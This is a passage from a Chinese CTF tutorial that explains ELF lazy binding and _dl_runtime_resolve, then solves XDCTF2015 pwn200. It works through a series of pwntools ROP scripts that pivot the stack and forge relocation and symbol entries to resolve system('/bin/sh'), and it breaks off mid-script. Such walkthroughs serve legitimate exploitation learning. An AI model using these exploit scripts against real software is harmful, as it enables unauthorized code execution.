高级rop之ret2_dl_runtime_resolve

昔我往矣,杨柳依依;今我来思,雨雪霏霏。

image

0x01 GOT/PLT之延迟绑定

之前有篇文章讲到了GOT表和PLT表以及延迟绑定,稍微回顾一下。
一个函数的动态执行过程如下,以read函数为例子

1
2
3
4
5
6
7
8
9
10
11
[-------------------------------------code-------------------------------------]
=> 0x8048390 <read@plt>: jmp DWORD PTR ds:0x804a004
| 0x8048396 <read@plt+6>: push 0x8
| 0x804839b <read@plt+11>: jmp 0x8048370
| 0x80483a0 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a008
| 0x80483a6 <__gmon_start__@plt+6>: push 0x10
|-> 0x8048396 <read@plt+6>: push 0x8
0x804839b <read@plt+11>: jmp 0x8048370
0x80483a0 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a008
0x80483a6 <__gmon_start__@plt+6>: push 0x10
[------------------------------------stack-------------------------------------]

这是read@plt表,第一步jmp 对应的GOT表的一项,然后0x804a008这个GOT表处,又保存0x8048396,有跳到了<read@plt+6>,这里push 0x8,这个0x08是write函数在.rel.plt中的偏移量,中间插一脚,简单看一下.rel.plt的组成,尤其是偏移量和类型,后面再细说。

1
2
3
4
5
6
7
8
pwn@pwn-PC:~/Desktop$ readelf -r bed0c68697f74e649f3e1c64ff7838b8 
重定位节 '.rel.plt' 位于偏移量 0x318 含有 5 个条目:
偏移量 信息 类型 符号值 符号名称
0804a000 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a00c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

然后继续jmp到0x8048370也就是plt[0],下面两个是
push got[1]
jmp *got[2]
其中:
got[1]:address of link_map object也就是本ELF的link_map数据结构描述符地址。
got[2]:address of _dl_runtime_resolve function ,也就是_dl_runtime_resolve函数的地址,来得到真正的函数地址,回写到对应的got表位置中。
另外,got[0]:address of .dynamic section 也就是本ELF动态段(.dynamic段)的装载地址

1
2
3
gdb-peda$ x /2wi 0x8048370
0x8048370: push DWORD PTR ds:0x8049ff8
0x8048376: jmp DWORD PTR ds:0x8049ffc

通过got[2]执行_dl_runtime_resolve函数,可以把read函数的真实地址写在相应的got表中,然后去调用。
回顾完了延迟绑定的过程,是不是有些肤浅?目前我们只是知道了这个延迟绑定的大体过程并不知道其中的细节,比如怎么找到真实函数地址,又是怎么将真实函数地址绑定到相应的got表。
那么下面我们就对以上两个问题就行探究,来深入了解一下_dl_runtime_resolve这个函数到底是做了什么?

0x02 GOT/PLT之_dl_runtime_resolve

在开始之前我们应该了解一下ELF中我们需要用到的结构:Section Header Table(段表)、.rel.plt(重定向表)、.dynsym(动态符号表)、.dynstr(动态字符串表)。

Section Header Table

段表是保存段的基本属性结构,也是 ELF 文件中除了文件头以外最重要的结构,描述了 ELF 的各个段的信息,如段名、长度、文件中的偏移、读写权限等。

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
Elf32_Word sh_name; /* Section name (string tbl index) */
Elf32_Word sh_type; /* Section type */
Elf32_Word sh_flags; /* Section flags */
Elf32_Addr addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;

段表是以 Elf32_Shdr 结构体为元素的数组,数组的个数等于元素的个数,每个 Elf32_Shdr 对应一个段, Elf32_Shdr 也成为段描述符。
来看一下程序中的Section Header Table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwn@pwn-PC:~/Desktop$ readelf -S pwn200 
共有 28 个节头,从偏移量 0x1134 开始:
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 000090 10 A 6 1 4
[ 6] .dynstr STRTAB 08048268 000268 000064 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482cc 0002cc 000012 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482e0 0002e0 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048300 000300 000018 08 A 5 0 4
[10] .rel.plt REL 08048318 000318 000028 08 A 5 12 4
[11] .init PROGBITS 08048340 000340 00002e 00 AX 0 0 4
[12] .plt PROGBITS 08048370 000370 000060 04 AX 0 0 16
[13] .text PROGBITS 080483d0 0003d0 00024c 00 AX 0 0 16
[14] .fini PROGBITS 0804861c 00061c 00001a 00 AX 0 0 4
[15] .rodata PROGBITS 08048638 000638 000008 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048640 000640 00003c 00 A 0 0 4
[17] .eh_frame PROGBITS 0804867c 00067c 0000ec 00 A 0 0 4
[18] .ctors PROGBITS 08049f14 000f14 000008 00 WA 0 0 4
[19] .dtors PROGBITS 08049f1c 000f1c 000008 00 WA 0 0 4
[20] .jcr PROGBITS 08049f24 000f24 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f28 000f28 0000c8 08 WA 6 0 4
[22] .got PROGBITS 08049ff0 000ff0 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08049ff4 000ff4 000020 04 WA 0 0 4
[24] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32
[26] .comment PROGBITS 00000000 00101c 00002a 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 001046 0000ec 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)

可以清晰的看到段内的每一个name,那么就引出来下几个概念.rel.plt(重定向表)、.dynsym(动态符号表)、.dynstr(动态字符串表)。

.rel.plt(重定向表)

.rel.plt也就是ELF REL Relocation Table,它是对函数进行修正。还有另一个.rel.dyn ,它包含了动态链接的二进制文件中需要重定位的变量的信息,对数据进行修正。这些信息都是在加载的时候必须完全确定。
那么链接器是怎么知道哪些指令是要被调整的呢?这些指令的哪些部分需要被调整?应该怎么调整?这都是通过重定位表来做的。通俗来说它的作用就是在延迟绑定时,让链接器知道谁和谁进行绑定。
先来看其结构

1
2
3
4
typedef struct{
Elf32_Addr r_offset;
Elf32_Word r_info;
}Elf32_Rel;

Elf32_Rel中的r_offset是重定向的偏移,保存的某个函数的GOT表,比如elf.got[‘write’];r_info则是重定向入口的类型和符号,低 8 位表示重定位入口的类型,高 24 位表示重定位入口的符号在符号表中的下标。来看一下程序中的.rel.plt表。

1
2
3
4
5
6
7
LOAD:08048318 ; ELF JMPREL Relocation Table
LOAD:08048318 Elf32_Rel <804A000h, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048320 Elf32_Rel <804A004h, 207h> ; R_386_JMP_SLOT read
LOAD:08048328 Elf32_Rel <804A008h, 307h> ; R_386_JMP_SLOT __gmon_start__
LOAD:08048330 Elf32_Rel <804A00Ch, 407h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048338 Elf32_Rel <804A010h, 507h> ; R_386_JMP_SLOT write
LOAD:08048338 LOAD ends

以write为例,0x08048338处的Elf32_Rel <804A010h, 507h> 其形式如下

1
2
3
4
typedef struct{
Elf32_Addr r_offset = 0x804A010h ;
Elf32_Word r_info = 0x507h;
}Elf32_Rel;

其中重定向的入口类型就是0x7(R_386_JUMP_SLOT)自行百度;重定向入口的符号就是r_info>>8 => 0x507>>8 => 0101 => 0x5,这就是动态符号表的下标。

.dynsym(动态符号表)

其中只保存了动态链接相关的符号,还有一个表.symtab表,这个往往保存了所有的符号,包含.dynsym中的符号。
其结构如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

这里有两点需要注意:
一、len(Elf32_Sym) == 0x10,因此它的下表就是[num/0x10];
二、st_name这个参数是符号名,保存的是相对.dynstr起始的偏移量,也就是st_name表示在.dynstr的偏移地址,从而找到.dynstr中某个字符串。
继续来看一下程序中的.dynsym表。

1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8 Elf32_Sym <0>
LOAD:080481E8 Elf32_Sym <offset aSetbuf - offset byte_8048268, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8 Elf32_Sym <offset aRead - offset byte_8048268, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208 Elf32_Sym <offset aGmonStart - offset byte_8048268, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218 Elf32_Sym <offset aLibcStartMain - offset byte_8048268, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048218 0>
LOAD:08048228 Elf32_Sym <offset aWrite - offset byte_8048268, 0, 0, 12h, 0, 0> ; "write"
LOAD:08048238 Elf32_Sym <offset aStdout - offset byte_8048268, offset stdout, 4, \ ; "stdout"
LOAD:08048238 11h, 0, 19h>
LOAD:08048248 Elf32_Sym <offset aIoStdinUsed - offset byte_8048268, \ ; "_IO_stdin_used"
LOAD:08048248 offset _IO_stdin_used, 4, 11h, 0, 0Fh>
LOAD:08048258 Elf32_Sym <offset aStdin - offset byte_8048268, offset stdin, 4, 11h, \ ; "stdin"

依然以write函数为例,其Elf32_Sym为:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name = offset aWrite - offset byte_8048268;
Elf32_Addr st_value = 0;
Elf32_Word st_size = 0;
unsigned char st_info = 0x12;
unsigned char st_other = 0;
Elf32_Section st_shndx = 0;
}Elf32_Sym;

.dynstr(动态字符串表)

用来存储.dynsym段符号对应的符号名,这个就是最终目的地。来看一下程序中的.dynstr表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
LOAD:08048268 ; ELF String Table
LOAD:08048268 byte_8048268 db 0 ; DATA XREF: LOAD:080481E8↑o
LOAD:08048268 ; LOAD:080481F8↑o ...
LOAD:08048269 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:08048208↑o
LOAD:08048278 aLibcSo6 db 'libc.so.6',0
LOAD:08048282 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:08048248↑o
LOAD:08048291 aStdin db 'stdin',0 ; DATA XREF: LOAD:08048258↑o
LOAD:08048297 aRead db 'read',0 ; DATA XREF: LOAD:080481F8↑o
LOAD:0804829C aStdout db 'stdout',0 ; DATA XREF: LOAD:08048238↑o
LOAD:080482A3 aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:080481E8↑o
LOAD:080482AA aLibcStartMain db '__libc_start_main',0
LOAD:080482AA ; DATA XREF: LOAD:08048218↑o
LOAD:080482BC aWrite db 'write',0 ; DATA XREF: LOAD:08048228↑o
LOAD:080482C2 aGlibc20 db 'GLIBC_2.0',0
LOAD:080482CC dd 20000h, 2, 20002h, 10002h, 2, 10001h, 2 dup(10h), 0
LOAD:080482F0 dd 0D696910h, 20000h, 5Ah, 0
LOAD:08048300 ; ELF REL Relocation Table

以wrie函数为例子,偏移st_name即可找到LOAD:080482BC aWrite db ‘write’,0 ; DATA XREF: LOAD:08048228↑o。

寻找时的过程

还有另外提一个概念,它是.dynamic(动态节),它里面ELF的依赖于哪些动态库、动态符号节信息、动态字符串节信息的信息,其结构如下:

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Sword d_tag; /*d_tag 的取值决定了该如何解释 d_un*/
union {
Elf32_Word d_val;
Elf32_Addr d_ptr; /*程序的虚拟地址*/
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

经过上述的介绍,可以知道这个节中包含了.rel.plt(重定向表)、.dynsym(动态符号表)、.dynstr(动态字符串表),来看下程序中的.dynamic(动态节)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LOAD:08049F28 stru_8049F28    Elf32_Dyn <1, <10h>>    ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F28 ; .got.plt:08049FF4↓o
LOAD:08049F28 ; DT_NEEDED libc.so.6
LOAD:08049F30 Elf32_Dyn <0Ch, <8048340h>> ; DT_INIT
LOAD:08049F38 Elf32_Dyn <0Dh, <804861Ch>> ; DT_FINI
LOAD:08049F40 Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F48 Elf32_Dyn <5, <8048268h>> ; DT_STRTAB /*.dynstr(动态字符串表)*/
LOAD:08049F50 Elf32_Dyn <6, <80481D8h>> ; DT_SYMTAB /*.dynsym(动态符号表)*/
LOAD:08049F58 Elf32_Dyn <0Ah, <64h>> ; DT_STRSZ
LOAD:08049F60 Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F68 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F70 Elf32_Dyn <3, <8049FF4h>> ; DT_PLTGOT
LOAD:08049F78 Elf32_Dyn <2, <28h>> ; DT_PLTRELSZ
LOAD:08049F80 Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:08049F88 Elf32_Dyn <17h, <8048318h>> ; DT_JMPREL /*.rel.plt(重定向表)*/
LOAD:08049F90 Elf32_Dyn <11h, <8048300h>> ; DT_REL
LOAD:08049F98 Elf32_Dyn <12h, <18h>> ; DT_RELSZ
LOAD:08049FA0 Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FA8 Elf32_Dyn <6FFFFFFEh, <80482E0h>> ; DT_VERNEED
LOAD:08049FB0 Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FB8 Elf32_Dyn <6FFFFFF0h, <80482CCh>> ; DT_VERSYM
LOAD:08049FC0 Elf32_Dyn <0> ; DT_NULL

画重点:
LOAD:08049F48 Elf32_Dyn <5, <8048268h>> ; DT_STRTAB /*.dynstr(动态字符串表)*/
LOAD:08049F50 Elf32_Dyn <6, <80481d8h>> ; DT_SYMTAB /*.dynsym(动态符号表)*/
LOAD:08049F88 Elf32_Dyn <17h, <8048318h>> ; DT_JMPREL /*.rel.plt(重定向表)*/
现在我们看一下具体的过程。
这就要从push got[1]开始,通过前面的了解,got[1]是link_map数据结构描述符的地址,执行完这条压栈命令,关注两点。
第一、这个地址保存的是什么?
第二、这个地址有什么用?
第二、此时栈中的内容
got[1]处保存的是link_map数据结构描述符的地址,从link_map又可以找到.dynamic表,结合上述的了解,有了.dynamic表就很方便的找到read字符串表(以read函数来举例),如图所示:

image

前两个问题解决了,再来看栈中的内容,分别是
0x8048396 <read@plt+6>: push 0x8
0x8048370: push DWORD PTR ds:0x8049ff8
这两个压栈的操作产生的结果。
指令继续执行,0x8048376: jmp DWORD PTR ds:0x8049ffc

1
2
3
4
5
6
7
gdb-peda$ xinfo 0x8049ffc
0x8049ffc --> 0xf7fee700 (<_dl_runtime_resolve>: push eax)
Virtual memory mapping:
Start : 0x08049000
End : 0x0804a000
Offset: 0xffc
Perm : r--p

执行_dl_runtime_resolve函数,看一下原型:_dl_runtime_resolve(link_map_obj, reloc_index),这里的link_map_obj,reloc_index就是栈里面的两个值,通过link_map和偏移量最终可以找到read函数的。
目前我们已经清楚了通过传入两个形参,_dl_runtime_resolve函数进行绑定操作,那么这是怎么一步一步的进行绑定的呢?上面也提到了一部分,通过link_map_obj可以找到.dynamic表,继续往下看,详细讨论一下具体的过程。
既然找到了.dynamic表,那么.rel.plt(重定向表)、.dynsym(动态符号表)、.dynstr(动态字符串表)也就有了,先找到这三个表的起始地址。

image

图中的1,2,3处分别代表.dynstr、.dynsym和.rel.plt,使用objdump可以验证一下,其实在ida中或许能够更直接地找到DT_STRTAB、DT_SYMTAB和DT_JMPREL。

image

在回顾中我们提到过,这个0x08是write函数在.rel.plt中的偏移量,所以0x8048318+0x08就能找到read函数的Elf32_Rel。

1
2
gdb-peda$ x /2wx 0x8048318+0x08 
0x8048320: 0x0804a004 0x00000207

根据前面的知识,可以知道

1
2
3
4
typedef struct{
Elf32_Addr r_offset = 0x804A010h ; //这里也是对应的got表地址
Elf32_Word r_info = 0x207h;
}Elf32_Rel

现在就是通过r_info来继续寻找,知道找到read函数,然后把地址绑定r_offset指向的got表的单元中。
r_info是分为两部分,.dynsym的下标在前八位,那么index = 0x207 >> 8 = 0x2,然后以0x080481d8为起始地址,Elf32_Sym[0x2]来找到read函数的Elf32_Sym。

1
2
gdb-peda$ x /wx 0x080481d8+0x2*0x10
0x80481f8: 0x0000002f

一个结构体长度是0x10,而且通过前面的知识可以知道0x2f就是st_name的值,进而0x08048268+0x2f就可以找到read的字符串。这里需要提一点,这个节是以\x00作为开始和结尾的,而且中间没个字符串也可以以\x00作为间隔。

1
2
3
4
gdb-peda$ x /wx 0x08048268+0x2f
0x8048297: 0x64616572
gdb-peda$ x /s 0x08048268+0x2f
0x8048297: "read"

到了这里寻找工作就完毕了,_dl_runtime_resolve中调用_dl_fixup函数完成函数的延迟绑定,也就是将函数的真实地址写入对应的got表中。
再来简单看一下_dl_fixup是怎么完成的,其实就是将我们上面分析的过程自动化了,下面是其中一些主要函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

0x03 XDCTF2015·pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int vuln(){
char buf[80];
setbuf(stdin, buf);
return read(0, buf, 256);
}
int main(int argc, char** argv){
char* welcome = "Welcome to XDCTF2015 ~!\n";
setbuf(stdout, welcome)
write(1, welcome, strlen(welcome));
vuln();
return 0;
}

可以在攻防世界中找到这个题目。对于我这个萌新,每次看ctfwiki上大佬的rop链都很懵,所以分享一下自己理解步骤。
栈迁移的部分就采用上一篇文章的第一种写法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
elf = ELF('bed0c68697f74e649f3e1c64ff7838b8')
r = process('./bed0c68697f74e649f3e1c64ff7838b8')
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')

offset = 108 ## find stack overflow length
bss_addr = elf.bss()
leave_ret = 0x08048481 ## ROPgadget --binary bed0c68697f74e649f3e1c64ff7838b8 --only 'leave|ret'
read_plt = elf.plt['read']

r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
## padding 108
rop.raw('a' * offset)
## faker_ebp1
rop.raw(base_stage)
### stack pivoting, set esp = base_stage
rop.raw(flat(read_plt,leave_ret,0, base_stage, 100))
## print rop.dump()
##gdb.attach(r)
r.sendline(rop.chain())

下面开始ROP链的一点心得分享:
先构造write函数ROP链,将”/bin/sh”打印出来,然后接下来的递进操作都是根据这个为基础开展。

1
2
3
4
5
6
7
8
9
10
11
## write cmd="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
rop.raw(base_stage)
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
##gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

image

根据前面的知识,我们可以知道,write函数是通过延迟绑定来找到的,捋一下寻找的路线:
push reloc_offset -> push link_map_obj -> 找到.dynamic -> 找到三个表的地址 -> .rel.plt+reloc_offset -> Elf32_Rel -> Elf32_Sym[info>>8] -> st_name -> wirte字符串
可以发现,在各个表的起始地址是固定的情况下,只要控制st_name、r_info、reloc_offset即可操作最后指向那个字符串,比如指向system字符串,就实现对Elf32_Rel中的r_offset的绑定,也就是对got表的绑定。
栈迁移使EIP指向了新的栈的第二位,所以我们只需要在栈里面构造新的延迟绑定的操作即可,既然知道了st_name可以控制指向字符串,r_info又可以控制st_name,reloc_offset可以找到r_info的地址,那么我们就从reloc_offset起手,以上面的write操作为基础,通过改变reloc_offset的值来控制其执行新的write函数。
这里的构造分为两个步骤来走:
一、指令的操作
二、栈中内容构造(前面注意过栈里面的内容是什么)
如下图所示

image

先来看指令操作,通过将EIP指向填充plt0的单元,那么就会执行到plt表的首项,然后push操作,之后jmp到_dl_runtime_resolve函数地址,进行执行。这就是完全模仿了延迟绑定的一个步骤。其次再来看栈中的内容,栈顶是压入的link_map_obj,第二项就是我们伪造的reloc_offset(图中是用index_offset表示)。这两个条件完全与正常执行的一样,那么只需要伪造reloc_offset,并且使得.rel.plt + reloc_offset = write的rel{r_offset, r_info}即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
## write cmd="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
## 获取起始地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = 0x20
rop.raw(base_stage)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('aaaa')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
##gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

image

可以发现通过伪造reloc_offset可以成功执行write函数,那么继续伪造Elf32_Rel,并且使得.rel.plt + reloc_offset等于伪造的Elf32_Rel的地址,然后伪造结构体中的r_offset和r_info。如下图所示:

image

把r_offset(重定向入口的偏移)的地址伪造成需要执行的函数的got地址 (其实可以随便搞一个有的导入的函数的got地址),再伪造r_info,使得r_info>>8后的值,通过Elf32_Sym[r_info>>8]可以找到write函数的.dynstr,然后继续正常执行(在这一步,这个直接使用现成的值即可,可以在代码的注释中看到)。
那么问题来了怎么去寻找这个我们已经伪造的REL的位置呢?在上一个步骤也说到了.rel.plt + reloc_offset = write的rel{r_offset, r_info},那么reloc_offset = 伪造的write的rel{r_offset, r_info}地址 - .rel.plt。
看到这,有木有想过,只是到了这一步我们可以控制需要执行的函数吗?当然也可以控制,只是不是我们想要的,只能控制.dynsym中有的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
## write cmd="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
## write:rel_adder {r_offset, r_info }
faker_reloc_addr = base_stage + 28 ## rop链长度为28 4*7 再下一个位置开始reloc
## r_offset -> write: got
r_offset = elf.got['write']
## r_info -> LOAD:08048338 Elf32_Rel <804A010h, 507h> ; R_386_JMP_SLOT write
r_info = 0x507
index_offset = faker_reloc_addr - rel_plt
faker_reloc = p32(r_offset) + p32(r_info)
rop.raw(base_stage)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('aaaa')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(faker_reloc)
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
##gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

image

成功伪造Elf32_Rel,程序可以顺利执行,接下来再去伪造Elf32_Sym。如下图所示:

image

那么就是对Elf32_Sym的st_name下手,因为他是决定执行哪个函数的关键(st_name+.dynstr),并且让Elf32_Sym[r_info>>8]来找到我们伪造的Elf32_Sym。先来伪造Elf32_Sym,我就是可以通过伪造st_name来执行我们需要的函数,直接把st_name赋值0x00000054,这样st_name+.dynstr找到write函数,具体st_name怎么计算方法下一步再说,结构体的其他变量的值也要伪造出来,文章开头的内容提到了。需要注意的是,因为.dynsym里的Elf32_Sym结构体都是0x10字节大小,因此需要对齐(在代码中可以具体看到)。最后再来看伪造r_info,通过Elf32_Sym[r_info>>8]可以找到伪造的write函数的Elf32_Sym,r_info的高八位就是(伪造的Elf32_Sym地址减去.dynsym)/0x10。这里也有个注意点,r_info 的是由重定向入口的类型和符号组成的,符号作为高八位是需要伪造的下标,类型是R_386_JUMP_SLOT,也就是0x7,最后r_info = ((伪造的Elf32_Sym地址减去.dynsym)/0x10)<<8 | 0x7。
此时可以发现我们又进了一步,可以通过st_name 来找到指定函数的dynstr中的函数符号了。换一种说法 也就是说我们此时可以通过st_name这个偏移来指向我们自己可控制的区域里面,我们这个区域构造一个函数的Elf32_Sym那么就实现任意函数绑定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
## write cmd="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
faker_reloc_addr = base_stage + 28 ## write:rel_addr 4*7 == 28
index_offset = faker_reloc_addr - rel_plt ## plt: push index_offset
## r_offset -> write: got
r_offset = elf.got['write']
## faker_sym
faker_sym_addr = base_stage + 36 ## 28 + 2*4 == 36
align = 0x10 - ((faker_sym_addr - dynsym) & 0xf) # aligin 0x10 这是Elf32_Sym结构体,每个结构体为0x10字节大小
faker_sym_addr += align ## 进行对齐
index_sym = (faker_sym_addr - dynsym)/0x10 # struct {0x10}Elf32_Sym index_sym只是下标Elf32_Sym[index_sym],来取结构体,每个结构体大小是0x10,所以偏移除以0x10才是下标
## write:Elf32_Rel {r_offset, r_info }
r_info = (index_sym << 8) | 0x7 # r_info>>8 = index_sym | R_386_JUMP_SLOT
faker_reloc = p32(r_offset) + p32(r_info)
## write: LOAD:08048228 Elf32_Sym <0x00000054, 0, 0, 12h, 0, 0> ; "write"
st_name = 0x00000054
faker_sym = flat(st_name,0,0,0x12)

rop.raw(base_stage)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('aaaa')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(faker_reloc)
rop.raw('a'*align) ## padding to align 因为对齐缘故 faker_sym_addr(本来是计算好的,是连续的地址)可能会变,也就是会+align,所以rop进行填充时的地址也需要+align,保证faker_sym对齐
rop.raw(faker_sym)
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
##gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

image

程序依然顺利执行,现在到了伪造任意函数的时候了,伪造STR,直接在选定位置 system\x00即可。那么这个关键是st_name怎么写,使得st_name+.dynstr == 伪造system的地址,st_name=伪造system的地址-.dynstr。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
## write cmd="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"+'\00'
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
faker_reloc_addr = base_stage + 28 ## write:rel_addr 4*7 == 28
index_offset = faker_reloc_addr - rel_plt ## plt: push index_offset
## r_offset -> write: got
r_offset = elf.got['write']
## faker_sym
faker_sym_addr = base_stage + 36 ## 28 + 2*4 == 36
align = 0x10 - ((faker_sym_addr - dynsym) & 0xf) # aligin 0x10
faker_sym_addr += align
index_sym = (faker_sym_addr - dynsym)/0x10 # struct {0x10}Elf32_Sym
## write:Elf32_Rel {r_offset, r_info }
